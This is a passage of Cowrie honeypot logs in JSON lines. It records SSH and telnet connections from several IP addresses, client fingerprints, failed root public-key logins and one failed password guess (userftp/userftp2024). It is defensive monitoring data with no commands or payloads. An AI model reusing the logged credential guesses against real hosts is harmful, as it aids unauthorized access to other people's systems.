{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:20.197810Z","src_ip":"2.57.122.189","session":"95d7351d5618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:20.650693Z","src_ip":"2.57.122.189","session":"95d7351d5618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.26.87.217","src_port":48724,"dst_ip":"10.17.0.5","dst_port":22,"session":"2923b39b4e35","protocol":"ssh","message":"New connection: 195.26.87.217:48724 (10.17.0.5:22) [session: 2923b39b4e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.146905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.151208Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.237978Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:75:8d:54:93:ee:eb:26:44:e4:7b:70:9e:d4:10:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCroiSz4opS/i2FSWqLQSvPeQMI7ee99HIf1sM+IJJ+9YwJxxvBlq6XSMxPJmi+FH+VkgD221CSS/izgB/7Ay5KBIm44OAZqE/ulxrRXEPQy6E5s2QdiEKnvj7x1ox+QM5aCqswGQ/ZHyDri+bJJ9bvGITCbg/6mPCub+eQd9y55sRyqcAc3pqvSRkFNAjoktLyqXnnsPzAMxA11QtpHit8/Wx75GDlVEuMsT8X59m4WSHAnRL2smYCl699d11mZM1QfbqkJhl6Ca/+bNh6DBLOEsQuspbFy8oLmx2uIydPiBtWRsRnP++R4+v8DCqR2DspIi1zbjiO0j74yU8TipZdg9iyWwnyFCDZPPk/K0NLgwVOAPbxo6KyHhotZrQ3OMbSihASuEx2KdVFYgL+bohmfqN3vM9G2IY8lfMGz0gqiUCxaCRqg0tVtrZJbLuOy2z5HT3yCgQfJkZqhyGO0fXPlIPXn+CrPbIGpdQMtGLbQ3xaJNXnmBYUyraBRNc0xKkI320aEE6pSrn1EEvFAYWpB1wOJzGgHnGSbPRvcIpTyMW9NzXUa8mKYBR7vU+0v5akmkkTSZs/Q9GiOeJh+Cg0HCeBjbBtvifpcJ/tWknbm4EhPpwXaaAJhxa8qFHJhG/L9rpBJ1TYD2gLkt2v2Ey5qJGW10Vkqn6XXT6Mwfm71Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:75:8d:54:93:ee:eb:26:44:e4:7b:70:9e:d4:10:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.649754Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:75:8d:54:93:ee:eb:26:44:e4:7b:70:9e:d4:10:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCroiSz4opS/i2FSWqLQSvPeQMI7ee99HIf1sM+IJJ+9YwJxxvBlq6XSMxPJmi+FH+VkgD221CSS/izgB/7Ay5KBIm44OAZqE/ulxrRXEPQy6E5s2QdiEKnvj7x1ox+QM5aCqswGQ/ZHyDri+bJJ9bvGITCbg/6mPCub+eQd9y55sRyqcAc3pqvSRkFNAjoktLyqXnnsPzAMxA11QtpHit8/Wx75GDlVEuMsT8X59m4WSHAnRL2smYCl699d11mZM1QfbqkJhl6Ca/+bNh6DBLOEsQuspbFy8oLmx2uIydPiBtWRsRnP++R4+v8DCqR2DspIi1zbjiO0j74yU8TipZdg9iyWwnyFCDZPPk/K0NLgwVOAPbxo6KyHhotZrQ3OMbSihASuEx2KdVFYgL+bohmfqN3vM9G2IY8lfMGz0gqiUCxaCRqg0tVtrZJbLuOy2z5HT3yCgQfJkZqhyGO0fXPlIPXn+CrPbIGpdQMtGLbQ3xaJNXnmBYUyraBRNc0xKkI320aEE6pSrn1EEvFAYWpB1wOJzGgHnGSbPRvcIpTyMW9NzXUa8mKYBR7vU+0v5akmkkTSZs/Q9GiOeJh+Cg0HCeBjbBtvifpcJ/tWknbm4EhPpwXaaAJhxa8qFHJhG/L9rpBJ1TYD2gLkt2v2Ey5qJGW10Vkqn6XXT6Mwfm71Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.653747Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:42:2f:d5:ea:9f:d6:73:e0:4c:94:3b:2a:7f:e2:b0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEz6cDiclhK2wRV3DEWkIkYGj7uCiVc/7jKRcG4s7JVW","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5b:42:2f:d5:ea:9f:d6:73:e0:4c:94:3b:2a:7f:e2:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.741211Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:42:2f:d5:ea:9f:d6:73:e0:4c:94:3b:2a:7f:e2:b0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEz6cDiclhK2wRV3DEWkIkYGj7uCiVc/7jKRcG4s7JVW","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.745677Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:34:95:34:07:3e:0e:71:25:8a:cb:3f:1b:23:7b:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5cYf5CEZ77IYwuiq8uxj8s0E8epKVAdVEWLBwtcXWm16O9YD06nvAIPDUhvJ9xJPxuT7BXsWcDMgzwmgEGJ3griRU7rnBc3nnMWHE5RabG9D/wNnrcehMfFomA3v79+Bmdt7dqY2TztSpS2/dkUIfZbzq7G/r7B4aPFB5yiLuw69ZyTiS9r27uJRxhRfuncoqFRf8y7mvVZXfOye8KLCHGqejqo9r1RwOXPflfAEQoDrM5MPkAsDfvkHMHDxmHm6prPmmRoYBKjd/RhZMX1VcRSHXQjVzmEy7n7LuklTOAm31mqANpKBhAP0hCu2aCQ7vqOYIikGnZ17OE7ZSJrX7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:34:95:34:07:3e:0e:71:25:8a:cb:3f:1b:23:7b:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.837200Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:34:95:34:07:3e:0e:71:25:8a:cb:3f:1b:23:7b:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5cYf5CEZ77IYwuiq8uxj8s0E8epKVAdVEWLBwtcXWm16O9YD06nvAIPDUhvJ9xJPxuT7BXsWcDMgzwmgEGJ3griRU7rnBc3nnMWHE5RabG9D/wNnrcehMfFomA3v79+Bmdt7dqY2TztSpS2/dkUIfZbzq7G/r7B4aPFB5yiLuw69ZyTiS9r27uJRxhRfuncoqFRf8y7mvVZXfOye8KLCHGqejqo9r1RwOXPflfAEQoDrM5MPkAsDfvkHMHDxmHm6prPmmRoYBKjd/RhZMX1VcRSHXQjVzmEy7n7LuklTOAm31mqANpKBhAP0hCu2aCQ7vqOYIikGnZ17OE7ZSJrX7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.841273Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:2a:a6:4d:14:04:b5:a5:aa:97:f0:fd:a3:60:2f:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyG9qna5KIm2GDUKGLi/4cIJep7ZVF6bNblbQOkOftsxCp8GBGX1PF7BXls4+Frghw8MIEscZLXDyAI7Htgpztj8hz2b5qEY8FEye0YO3xZ3yaM2tABIML9IYcAmYITb6GcUMshV+PvcwaHKJyN62ANoiX1RRztQXmcmu7eWqHHdjV4z6+J0Znw5fu1ZerGyjI+Yg1dTB7ssj8BOF13hGFixHsF9RHhWvDsPAN4ZBW+nx5CkUAUQt6iC7EDSu3fvu9g/wENrPBADCTC8SlXYMjHp/w8oBauRQRaeBFqYBfzaaNLpqRxk8ESgOS+RPALsg2bL71wOknVi9dVSTrogJHVBBD7tnXQxUeDk+1tCWQVfN9rhFnbgr4ElFqFijxxA6Hamj+pXC43WuMKFotMq+1SobnB4zVfSNZYX54+F33T2z/cBeiF3j1V7rC6w40zRLjbSJE0+hto10qhAcExsWUKM/mDwvRT6o8WfrJjEj9Rt+ZTIFJWaqXqNsR9F5sVjBOR2w4D9K9DGCmucCGj9IDlTltX3S6gmWmgWdQ6OIu2l1/ow3i64bIHvlB3l4aq7s3fnKm2T0CRYDSWAeZ2vkQhmS0cdvr4aj+FINzkhDrBAv1sEAXAUmLZvMlyvPr1I432x8Ey8CCbQ6GgqKLSiSFff4vJBcb12hslLssrzd8RQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:2a:a6:4d:14:04:b5:a5:aa:97:f0:fd:a3:60:2f:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.929164Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:2a:a6:4d:14:04:b5:a5:aa:97:f0:fd:a3:60:2f:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyG9qna5KIm2GDUKGLi/4cIJep7ZVF6bNblbQOkOftsxCp8GBGX1PF7BXls4+Frghw8MIEscZLXDyAI7Htgpztj8hz2b5qEY8FEye0YO3xZ3yaM2tABIML9IYcAmYITb6GcUMshV+PvcwaHKJyN62ANoiX1RRztQXmcmu7eWqHHdjV4z6+J0Znw5fu1ZerGyjI+Yg1dTB7ssj8BOF13hGFixHsF9RHhWvDsPAN4ZBW+nx5CkUAUQt6iC7EDSu3fvu9g/wENrPBADCTC8SlXYMjHp/w8oBauRQRaeBFqYBfzaaNLpqRxk8ESgOS+RPALsg2bL71wOknVi9dVSTrogJHVBBD7tnXQxUeDk+1tCWQVfN9rhFnbgr4ElFqFijxxA6Hamj+pXC43WuMKFotMq+1SobnB4zVfSNZYX54+F33T2z/cBeiF3j1V7rC6w40zRLjbSJE0+hto10qhAcExsWUKM/mDwvRT6o8WfrJjEj9Rt+ZTIFJWaqXqNsR9F5sVjBOR2w4D9K9DGCmucCGj9IDlTltX3S6gmWmgWdQ6OIu2l1/ow3i64bIHvlB3l4aq7s3fnKm2T0CRYDSWAeZ2vkQhmS0cdvr4aj+FINzkhDrBAv1sEAXAUmLZvMlyvPr1I432x8Ey8CCbQ6GgqKLSiSFff4vJBcb12hslLssrzd8RQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:44.933006Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:fa:94:5f:44:16:ee:86:a7:33:88:7e:f9:0e:3e:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+MznIFDLz8Hxc3EvieK1pYT1+m816xsac7UahBS60hwdt/COrUV5sAD7Czg0v2kvQXKDHMIhRjxCDwDlqCS/UouKqYJhk0Wlci7qT+xudxhKNcAVjRl9IX+InMF6uN/PYjAf3INOn0LkyllVn+3MlTGt4hF28B8L2lBw6zTjfGMkw8V+cmxmUqMTjGbfImvWj/ZVyHFbouV3Ui6hAtPEqVk0uj3neTwnAjTcBBe2fKND6akJ/yQkZCMgiByvpcEt0dfFKp2omrW4UKh4/s9f2OXT3HX3WBTgijJSqOeTQv0kFamxYaJm/ojr6dj4D7gE7XWEOPG681tc5ScT3I8AGskoNRv/QA0Dodq3vi1uRGQ8LemYYqdLrpeOvg/LEr2x/X5H5Q56XRoqNgAwAcjQKEv4jcLWOiVjbYZcZtSBb5FH3xJZT2npjvgFRctigjqyLehepL89MDBMPyWcJh/0h3EkE/DZuhMrNZCGvRkoLN/h/dXh+KdcWuLgSk/dO/c7X7GZEXK97RqfwW477uEgfE8ZrUi2GNj8Ml67rpjJwYB8+7wizUoZQQL1FlUVhQTo3s8XeNxSnNH1i9WMelGBi12JCtJPG+06BpzFs9Ohz0wz07388m7KtP4JrC0+hEn3SayyIdf5LMc8zJX7kS7ZHPbbJiHNgh3tGAR9tE4kNhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:fa:94:5f:44:16:ee:86:a7:33:88:7e:f9:0e:3e:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:45.021002Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:fa:94:5f:44:16:ee:86:a7:33:88:7e:f9:0e:3e:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+MznIFDLz8Hxc3EvieK1pYT1+m816xsac7UahBS60hwdt/COrUV5sAD7Czg0v2kvQXKDHMIhRjxCDwDlqCS/UouKqYJhk0Wlci7qT+xudxhKNcAVjRl9IX+InMF6uN/PYjAf3INOn0LkyllVn+3MlTGt4hF28B8L2lBw6zTjfGMkw8V+cmxmUqMTjGbfImvWj/ZVyHFbouV3Ui6hAtPEqVk0uj3neTwnAjTcBBe2fKND6akJ/yQkZCMgiByvpcEt0dfFKp2omrW4UKh4/s9f2OXT3HX3WBTgijJSqOeTQv0kFamxYaJm/ojr6dj4D7gE7XWEOPG681tc5ScT3I8AGskoNRv/QA0Dodq3vi1uRGQ8LemYYqdLrpeOvg/LEr2x/X5H5Q56XRoqNgAwAcjQKEv4jcLWOiVjbYZcZtSBb5FH3xJZT2npjvgFRctigjqyLehepL89MDBMPyWcJh/0h3EkE/DZuhMrNZCGvRkoLN/h/dXh+KdcWuLgSk/dO/c7X7GZEXK97RqfwW477uEgfE8ZrUi2GNj8Ml67rpjJwYB8+7wizUoZQQL1FlUVhQTo3s8XeNxSnNH1i9WMelGBi12JCtJPG+06BpzFs9Ohz0wz07388m7KtP4JrC0+hEn3SayyIdf5LMc8zJX7kS7ZHPbbJiHNgh3tGAR9tE4kNhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:45.025079Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:45.113558Z","src_ip":"195.26.87.217","session":"2923b39b4e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33105,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ffc461b0fc9","protocol":"ssh","message":"New connection: 168.167.228.74:33105 (10.17.0.5:22) [session: 9ffc461b0fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:55.654166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:55.659052Z","src_ip":"168.167.228.74","session":"9ffc461b0fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:55.914165Z","src_ip":"168.167.228.74","session":"9ffc461b0fc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"userftp2024","message":"login attempt [userftp/userftp2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:56.967232Z","src_ip":"168.167.228.74","session":"9ffc461b0fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:58.229435Z","src_ip":"168.167.228.74","session":"9ffc461b0fc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.84.212.4","src_port":45585,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed0af959428","protocol":"telnet","message":"New connection: 2.84.212.4:45585 (159.203.135.109:23) [session: eed0af959428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:03:26.723742Z"}
{"eventid":"cowrie.session.closed","duration":12.717371940612793,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:03:39.441001Z","src_ip":"2.84.212.4","session":"eed0af959428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.193","src_port":39420,"dst_ip":"10.17.0.5","dst_port":22,"session":"07d1a08e63b5","protocol":"ssh","message":"New connection: 2.57.122.193:39420 (10.17.0.5:22) [session: 07d1a08e63b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:02.181628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:02.186482Z","src_ip":"2.57.122.193","session":"07d1a08e63b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:02.290383Z","src_ip":"2.57.122.193","session":"07d1a08e63b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:04:02.737282Z","src_ip":"2.57.122.193","session":"07d1a08e63b5","protocol":"ssh"}
